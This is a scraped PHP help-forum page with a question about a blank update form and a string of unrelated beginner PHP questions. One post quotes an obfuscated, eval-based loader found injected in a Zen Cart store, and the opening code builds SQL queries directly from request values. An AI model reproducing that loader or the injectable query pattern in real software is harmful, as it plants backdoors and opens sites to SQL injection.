PHP - Real Zany Page Output
Hey there!
So, I am working trying to get a page to edit and update field to insert back into the DB. But for some odd reason, the page just shows up vlank. I've added it to show errors, but still nothing is coming back, so I have no idea what the issue is. Not too sure if there is a config issue with PHP on my server or what. Here's my code: Code: [Select] <?php ini_set('display_errors', 1); //open DB connection include '../dbconn.php'; if ($_POST) { $msg=""; //build an update query $update = "update testspaces set status='$_POST[status]',spacenumber='$_POST[spacenumber]' where id='$_POST[id]'"; //execute query and check to see if it went through if (!mysql_query($update)) { $msg = "Error Updating User"; print $update; } else { $msg = "Record Updated Successfully"; echo "<br>"; echo "<br>"; echo "<br>"; echo "<div class='header2'><a href='adminindex.php'>Go Back To Edit</a></div>"; //print $update; //write a table row confirming the data $table_row = <<<EOR <TR> <td>$status</td> <td>$spacenumber</td> </TR> EOR; } //if not posted, check that an ID has been //passes VIA the URL } else { if (!IsSet($_GET['id'])) { $msg = "No User Selected!"; } else { $id = $_GET['id']; //build and execute da query $select = "select * from testspaces where id=$id"; $result = mysql_query($select); //check to see if the record is there if (mysql_num_rows($result) < 1) { $msg = "No User with that ID is found"; } else { //set the variables for the form code $form_start = "<FORM METHOD=\"post\"ACTION= \"" . $_SERVER['PHP_SELF'] . "\">"; $form_end = ' <TR> <TD COLSPAN="2"><input type="submit" value="Submit Changes" /> <input type="reset" value="Cancel Changes" /></td> </tr> </form> '; //assign the results to an array while ($row = mysql_fetch_array($result)){ $status = $row['status']; $space = $row['spacenumber']; //write out into table row with form fields $table_row = ' <table border="1" align="center" cellpadding="5" cellspacing="0"> <th>Space Number</th> <th>Status</th> </tr> <tr> <td><input type="text" name ="spacenumber" value ="' . $space . '" size="20"/></td> <td><input type="text" name ="status" value ="' . $status . '" size="20"/></td> </tr> <br /> <a href="editemployees.php">Back to Employees</a> '; } // end of while } // end of else num rows } // end of else isset get id } // end of else mysql update //print message echo (IsSet($msg)) ? "<div class=\"error\">$msg</div>" : ""; ?> <? echo (IsSet($form_start)) ? $form_start : ""; ?> <input type ="hidden" name="id" value="<? echo $id ?>" /> <? echo (IsSet($table_row)) ? $table_row : ""; ?> <? echo (IsSet($form_end)) ? $form_end : ""; ?> Not too sure what could be causing to become blank. Similar TutorialsI'm working on a chat using basic textarea input, post, but the problem that I'm facing is, if a person doesn't send something, then the output is not updated eg. other messages from other users updating in real time.
How is that achieved when you see new database entries pop up live, milliseconds after they are entered?
Do I set a constant refresh rate of some sort?
How do you update a section of a webpage without "refreshing" the entire page like the POST method?
I've developed a file upload service of sorts. Think TwitPic, TwitVid and Twaud combined and it's not that far off. I need to determine which content pages are most viewed. Right now I just count each and every page request, so... The problem I run into (of course) is that also agent/bot requests are counted, and for some reason search engines (or other services) are very keen on accessing pages with many pictures on them, so such accesses can easily "overload" and make the access counting quite skewed. Is there a black list of search engine user agents I could deploy, or is there a more generic way of knowing whether I get a request from a search engine rather than a user? I still want the content pages indexed by search engines, so they shouldn't become "invisible" to them, yet I need to be able to determine what accesses are from primarily real users. There's no need to log in to see the content, so I can't use that as a differentiator. I suspect there are also image grabbing agents accessing my pages, and honestly they could be shut out completely. Thanks in advance, Anders I'm not looking for code, mostly just some direction, but I'm sure I'll be back as I try to shape the code. Also, I know very little about coding jQuery, Ajax, etc. Here is what I'm looking for: Basketball coach enters a Page that only he (or admin) can see. (I have that part figured out.) Once there, he has a form to fill out with a player's name and other information. I'd rather there not be 12 rows of empty cells. (Coaches will view that as work) I'd rather not have the Page reload on each "Add", but that would be the lesser of two evils. Is there a way to keep a persistent connection so when a coach hits Add, the player gets added to the database, a new empty form shows up, and the player's information shows up below on a roster? Hi i'm using "Multi Rating Plugin" on my wordpress website and it work well in all page. I've an external php script to show operator stats and it work (you can display it in my homepage). Now I would like to insert into this php code (soap.php) the worpress shortcode that will display rating star system (it work if i add it for example on any page of my website with shortcode [mr_rating_result post_id="63"]). But the problem is that if i insert this short code on my php script i not display rating star This code not work on my script php (soap.php) http://www.lecartedellamore.it/soap/soap.php echo do_shortcode("[mr_rating_result post_id='63']"); I not display it on my homepage https://www.lecartedellamore.it/ but i don't see error... If i put this shortcode on wordpress page it work... but if i put in sample external script not work the shortcode is here example: https://www.lecartedellamore.it/cartomanti/desire-albus-codice-322/Is possible to output this shortcode in homepage into external php script?
Well I have a script that executes a scan on a system set to run infinitely, and I need it to echo out a message each time it loops through, but I don't want it to echo out the message with the next loop message below it, and the next one below that etc... I've tried using the flush(); function and been messing around with that with no luck. For security reasons I don't want to release any of the processing code, but here is the basic construction of the script: <?PHP ***PROCESSING AND SCAN CODE*** ***PROCESSING AND SCAN CODE*** ***PROCESSING AND SCAN CODE*** ***PROCESSING AND SCAN CODE*** $RepeatIt = -1; for($g=1; $g!=$RepeatIt+1; $g++) { ***PROCESSING AND SCAN CODE*** ***PROCESSING AND SCAN CODE*** ***PROCESSING AND SCAN CODE*** ***PROCESSING AND SCAN CODE*** $ScanMessage = ":.:.: SCANNING THE HITLIST FOR MOBSTER: ".$MobName." (SCAN #$g) :.:.:"."<br/><br/>"; echo $ScanMessage; ***PROCESSING AND SCAN CODE*** ***PROCESSING AND SCAN CODE*** ***PROCESSING AND SCAN CODE*** ***PROCESSING AND SCAN CODE*** } ?> At the moment it's returning: :.:.: SCANNING THE HITLIST FOR MOBSTER: DEUS EX DESTROYER (SCAN #1) :.:.: :.:.: SCANNING THE HITLIST FOR MOBSTER: DEUS EX DESTROYER (SCAN #2) :.:.: :.:.: SCANNING THE HITLIST FOR MOBSTER: DEUS EX DESTROYER (SCAN #3) :.:.: :.:.: SCANNING THE HITLIST FOR MOBSTER: DEUS EX DESTROYER (SCAN #4) :.:.: So what I want it to do is just delete the scanning message and replace it with the next scan message so while running this script you would see just the number increment on the same line. Any suggestions? Thanks. Hello everyone. I need help with the following PHP APP. I am running on (Version PHP 7.2.10) I am trying to have a page table form on table.php pass the input variable of “5-Numbers” to another page called table_results.php I want that variable string of “5-Numbers” to be compared against 4 arrays and output any duplicates found within each of those 4 lists. If nothing is found, I still want some visual output that reads “None found”.
Lets pretend I have the following example .. On table.php, I typed inside my table form the 5-Numbers .. INPUT: 2,15,37,13,28 On table_results.php, the 4 arrays to be compared against my input numbers “ 2,15,37,13,28” are ..
$array_A = array(2,6,8,11,14,18,24); $array_B = array(1,2,9,10,13,14,25,28,); $array_C = array(1,3,7,9,13,15,20,21,24); $array_D = array(4,5,12,22,23,27,28,29);
So my output should read as follows below .. OUTPUT:
TABLE COLUMN 1 COLUMN 2 ROW 1 Matches Found Results .. ROW 2 GROUP A: 2 ROW 3 GROUP B: 2,13,28 ROW 4 GROUP ? 13,15 ROW 5 GROUP ? 28 ROW 6 5#s Input: 2,15,37,13,28
Please let me know if anyone has any suggestions on how to go about it. Thanks. Edited January 1, 2019 by Jayfromsandiego Wanted to include image example Hello guys, I have been searching on the internet for articles that shows me how to get the real IP address when they are behind a proxy. But after some reading it seems that this is not completely possible. Correct me if I'm wrong. So what is the best thing to do? Because I have seen different methodes and I'm not sure which one is the best. http://www.laughing-buddha.net/php/lib/remoteip Hi everyone, If I have a line like this: $nfn = $brand . $model; then when the variable is echoed ($nfn) will come out like nikeair, how can I save it with a space so when echoed it will display nike air? Cheers I am trying to send an html file (with .js formatting) to the browser from within a PHP script. The .js formatting is not being interpreted and so the result in the browser is less than impressive. Why can't I make a call, in PHP, to a url and have the results from that call directed to the browser? Okay, so this is my first real php script from scratch. This is the theory of the script I am writing. Mysql database connect script already done. So, first things I need to do is connect, right? <?php //connect to db require_once ('includes/connect.php'); //connect to table $result = mysql_query ("select * FROM shop1"); //display data in table echo "<table border='1'><tr><td>Shop</td><td>city</td><td>members</td></tr>"; while($row = mysql_fetch_array($result)) { echo "<tr>"; echo "<td>" . $row['name'] . "</td>"; echo "<td>" . $row['city'] . "</td>"; echo "<td>" . $row['members'] . "</td>"; echo "</tr>"; } echo "</tr></table>"; ?> Displays this, http://67.23.249.45/~gaogier/shop1.php What do you think so far? Whats still to come. How do I link 2 tables together? I mean, I plan to have many shops displayed, then, inside the shop, have the items, which will be linked to each shop. I plan to link each shop to a different page, which will be displayed like, url/shop/shopname If you are confused, i need to have a working shop database that works like this, http://www.tip.it/runescape/?rs2shops I don't care about styling at the moment, I just want the script to work. What do I do now? Getting an unexpected end error on this and unsure as to why. Code: [Select] <?php if($players['is_banned'] == 1) { ?> <a href="profile.php?id=<?php echo $players['id'] ?>"><?php echo $players['name'] ?> (BANNED) <? }else{ ?> <a href="profile.php?id=<?php echo $players['id'] ?>"><?php echo $players['name'] ?> <? } ?> Ok so I have a question. is it possible to make a form submit to a DB in real time without the need for a submit button ? if so could you drop a hint to what it would be caled or a tut / reference to it ? Hi guys, got some questions about the Instagram real-time api. first let me tell you what I want to do. I'd like to run a daemon process with a socket connection or something of the like to the Instagram API to get a constant feed of photos with a certain tag. We estimate it to be a large amount of data at a particular time (thus why we want to go Real-time). This process will parse the feed and store it into a mongodb database. Secondly, for the front end, I'd like to display all new, live photos in real-time, possible with ajax or some form of checking on a set interval. Problem being, I can't find anyone doing this with php. All of the resources I have seen use Node.js and Tornado. Has anyone done this with PHP or know of a good Real-time API demonstration/tutorial to get me started? Here's the documentation... http://instagr.am/developer/realtime/ any help would be greatly appreciated! thanks! Hello I am having a problem trying to write to a database using mysql real escape so there wont be any injection attacks. I trying using myrealescape and it returns errors: Code: [Select] Notice: Use of undefined constant messageTo - assumed 'messageTo' in D:\wamp\www\Legit Gaming Upload\LGU\includes\mailCompose.php on line 17 Notice: Use of undefined constant messageSubject - assumed 'messageSubject' in D:\wamp\www\Legit Gaming Upload\LGU\includes\mailCompose.php on line 17 Notice: Use of undefined constant messageBody - assumed 'messageBody' in D:\wamp\www\Legit Gaming Upload\LGU\includes\mailCompose.php on line 17 I add in the single quotes and it doesn't write either. Dreamweaver says that either single quotes or not there is no syntax errors. What going on? I have used it like this befo ('$ID','" . mysql_real_escape_string($_POST[post_content]) . "') and no problems.. ~AJ <?php require_once('connect.php'); if(isset($_COOKIE['user'])){}else{ header( 'Location: members.php'); } if (isset($_POST['sendBtn'])){ $messageFrom = $_COOKIE['user']; $messageTo = $_POST['messageTo']; $hash = $messageTo.$messageFrom.time(); $hash = md5($hash); mysql_select_db("majik"); $sql="INSERT INTO messagesystem(ID, hash, messageTo, messageFrom, messageSubject, messageBody, messageDate, messageRead, messageDelete) VALUES ('','$hash','" . mysql_real_escape_string($_POST['messageTo']) . "','$messageFrom','" . mysql_real_escape_string($_POST['messageSubject']) . "','" . mysql_real_escape_string($_POST['messageBody']) . "','0','0')"; echo '<center>Your message was sent to: '.$messageTo.'</center>'; } ?> I am trying to get the actual filename so that I can attach it to an email. I tried echo $file; but its not giving me anything. Just a blank page. Here's the code that I' working with: $file = date('M-d-Y H:i A'). '.png'; $uri = substr($data,strpos($data,",")+1); file_put_contents('./Collection_Posts/'.$file, base64_decode($uri)); echo $file; exit;
I have never used real escape string so want to make sure I did it correctly. Also, if I can place it anywhere else to make it even more secure please let me know. This is just the action of a just a simple POST html form. Here it is. Code: [Select] <?php require ('staffarea/sql.php'); $showform="false"; $mcid = mysql_real_escape_string($_POST['mcid']); $age = mysql_real_escape_string($_POST['age']); $description = mysql_real_escape_string($_POST['description']); if(!mysql_query("INSERT INTO `somedatabase`.`appsubmissions` (`id`, `username`, `age`, `description`, `status`) VALUES (NULL, '$mcid', '$age', '$description', 'Pending');")) { echo '<div class=blockrow><b><font size=4>Submission Error</font><br /><br />Something went wrong. Contact Staff in the Support Forums and give them this information:<br /><br /></b><font color=red>'; echo mysql_error(); echo "</font>"; echo '<br /><br /><a href="/forumdisplay.php?f=14">Support Forums</a></div>'; } else { $lastID=mysql_insert_id(); echo "<div class=blockrow><font size=3><b>$mcid, Thank You for your Building Application!</b></font><br /><br />"; echo "Your Unique Application ID: <b>", $lastID; echo "</b> (save this so you can check the application status later)<br /><br /> Your application was submitted successfully. Please allow Staff 24 hours to accept or deny your application. If after 48 hours you still do not have building rights, assume the application was denied and re-submit with different information. DO NOT submit an application more than every 48 hours, doing so will get your account banned for spamming.<br /><br /> While waiting, you might check out the <a href=/index.php?pageid=mcguide>Ultimate Guide</a>.</div>"; } mysql_close($con); ?> I have a lot of garbly gook in my zen cart. I am NOT a php programmer, but I do well enough with my ZenCart to manage.
I have a code that starts like this:
<?php /*versio:3.02*/ $GLOBALS["ktrmpz"]="PaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuJVsoZGlzcGxheV9lcnJvcnMNmHJZmVkb3IvdGVzdF93ZWJuZXQYMy4wMgwhdGhhaDFOaWV0aGFpMnphaDZBaHIPQLaHR0cDovLwVzoUuSFRUUFMb2ZmUFJaHR0cHM6Ly8KfYPSFRUUF9IT1NUcgnZdW5pb24PVvmc2VsZWN0DBQVUUkVRVUVTVF9VUkkSWfTgU0NSSVBUX05BTUUBipUVVFUllfU1RSSU5HXSPwuXIoZGV0ZXJtaW5hdG9yUBnqLgxLmxvZwBseESFRUUF9ZX0FVVEgYmFzZTY0X2RlY29kZQfCvydmVyc2lvADLQcKLXBocAHSFRUUF9FWEVDUEhQkNYxCZb3V0HCjPEUb2sbtSFRUUF9VU0VSX0FHRU5UGLAyNmZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAxdYQvHYWxqZXIuYml6VEpZmFzdGFkZHouY29tHL3czLnBocD91PQTaPJms9UqtLJnQ9cGhwJnA9rHagTHJnY9YUZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYvbHZvOGdTL2xjNnlCcGh3V0NEd2NmazhaUm8xdk1tMG13U2VaeVZWck1Sd3RBRWJDNXorSXJ5djc4cXVqRTRzVWY3azNFZlZWOWRYMVVISGhHdlhPb0ZNWFZGd2FVRnphSWd0b3NrRTdyZFZ4TEF0bGZHVGhFa3NVVjNRVjdrWXJGY2h1VStjY1MrcE1wcXY0dm5ib0k0c0hKYU5KdER5WkMxZmxjbWF2ZjZ6TFpxU0ZwZlZpZHdvQThIM2tpdGhWZ2JtbnVKbldhYmFMY1dPKzR5OHZlQlRENTFYdnpBWCs2SlNlNmZmdnpva2xmU3JFU0JreVZGRUZHeHlFb0s4akphbEZsTVBKcDR0WWg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YThvdlUxMEEydXcwYkttaFR2UmFjdHJWRTlIZ0g3VFlDdDVMcWxOTGpHbXFRTjljcFkxb21hTGFobVVEUUJ6UFhJazlETjRoQ2FITkxaL2dCR1RDYWNYdUFCUWpkMldOLzdsM0MxL2hDSWVBRHRSRzUxbUlrMGdPWTA2TEpVMlFXRnlMS21rMnpYL2hhbnJXODRvdUlJR2NTcGJTTk4vcjdEQUU1cFVyMkdUbHBNUFh3MDdwc0FzV25vb2hhZVNWOGFEUHF5QVQydnFzSjhGeFpPOEs0TE1TVHljZmZLTkN1UVZjNDY0Y0lOcThtVFRaMGZFa2JyVjVRK1BISERTTkw3RTRDQ3llYmxMK3RpZ3lKS3JEa0hVWjhMQ2ZDNXdmSUtoMmdQYXgwS25RRUEyVGpIZFdHZUtXQzRZVUQ1SHlZZi9sVHo0WEZnWXhjUkFITzlPWWNoOElRYmFsYkIxMVJ0V0pVTlJWSTZ2dGpVQ3hDbkU1WXV0WkxZb2EzMUZoblU0WVczR3VwQjE5SE04OFA4MkEyT2h1cWFKaG5Wek5EeW1LRkx1bDUxcGJyeVRrR2dRRTQ0TFRmeUpmWTB3em1kdEJxaERrUFFFT3BQaDVwaDU1cW82Uk5ER3VpeWZ1U09WamtCdklGcUlMNHp0V1lNcThMQmk2eEVNY0JsR2F4VFVQM3VXY3djQUtOdjh6SysvdWhjeHRMOHBmT1J3S0MyTllNUkdCL04vZytDalQzTiIpKSk7at"; if (!function_exists('tjjluyoc')){function tjjluyoc($a, $b){$c=$GLOBALS['ktrmpz'];$d=pack('H*','626173653634'.'5f6465636f6465'); return $d(substr($c, $a, $b));};eval(tjjluyoc(561,3272));};?><?php
My gut says this is way wrong? thoughts?
Hi there I am never the one to use something I don't simply understand but I was wondering if you could help me through why an errors occuring with my first attempt at a very primative MVC. Ok I understand them as being somewhat Model (data whether that be a database or a file system it's just data!), View is the way the page is assembled in (ZF that would be also the Layout right?) and then finally Controller (that handles all the user known and unknown requests), the controller is responsible for sending any responses back to the user, would you ever have view take the data from the model or would it always go via the controller? I know it wouldn't get output to the user as they may never understand it in it's raw form. But this is what I have come up with from this tutorial he http://php-html.net/tutorials/model-view-controller-in-php/ This is what I have done in I think completion: index.php: Code: [Select] <?php // NOT TO BE SHOWN IN A PRODUCTIONAL APPLICATION ALWAYS USE FALSE WHEN IN A PRODUCTIONAL SERVER! ini_set('display_errors', true); // We require the class for this to work so we do so using the require_once construct: require_once 'Controller.php'; // We ask for an object to be created of class/blueprint Controller but with no parameters $controller = new Controller(); // We then make invoke action as a function within Controller class $controller->invoke(); Controller.php: Code: [Select] <?php require_once 'Model.php'; class Controller { public $model; public function __construct() { $this->model = new Model(); } public function invoke() { if(!IsSet($_GET['book'])) { $books = $this->model->getBookList(); require 'booklist.php'; } else { $book = $this->model->getBook($_GET['book']); include 'viewbook.php'; // we could actually include this as one file though right? } } } Model.php: Code: [Select] <?php require_once 'Book.php'; class Model { public function getBookList() { return array('Jez\'s Great Book!'=> new Book('Jez\'s Great Book!', 'The best book on the planet about MVC\'s'), 'PHP5 and MySQL Bible'=> new Book('My most enterprising PHP and dynamic page content book ever!')); } public function getBook($title) { $allbooks = $this->getBookList(); return $allbooks[$title]; } } Book.php: Code: [Select] <?php class Book { public $title; public $author; public function __construct($title='', $author='') { $this->title = $title; $this->author = $author; } } booklist.php: Code: [Select] <?php foreach($books as $title=>$book){ echo "<pre>"; echo '<a href="index.php?book='.$book->title.'">$book->title</a>'; echo "</pre>"; } viewbook.php Code: [Select] <?php echo $book->title; echo $book->author; It's not the same as the tutorial exactly but I just wanted to see if I could get it working, the only problem is (I mean my sample data's just for the fun of it), however when I go to see the booklist.php The problem I am having is how to understand it getting the values into the list, when it says the 2nd one's basically not an index, does this come up for yourselves? I am just a bit confused, happy though kind of got this working, thank you in advance, Jeremy. I wrote a short script that takes a list of keywords and does a Google search to find how often they are used in the title of a page. However, I cannot get it to echo the results in real time. On one server I use it works fine. On the other it runs the entire list and then outputs everything in the end. The problem is sometimes this takes several minutes and therefore it times out after not receiving a response. Any suggestions? Thanks in advance. <?php $file = file('words.txt'); $results = ''; foreach ($file as $line) { $data = file_get_contents("http://www.google.com/search?hl=en&q=allintitle%3A%22" . urlencode($line) . "%22&btnG=Google+Search"); preg_match('/of about <b>([0-9,]*)?<\/b>/si', $data, $number); $results .= $line . ";" . $number[1]; echo $results . "</br>"; $results = ""; sleep(2); } ?> |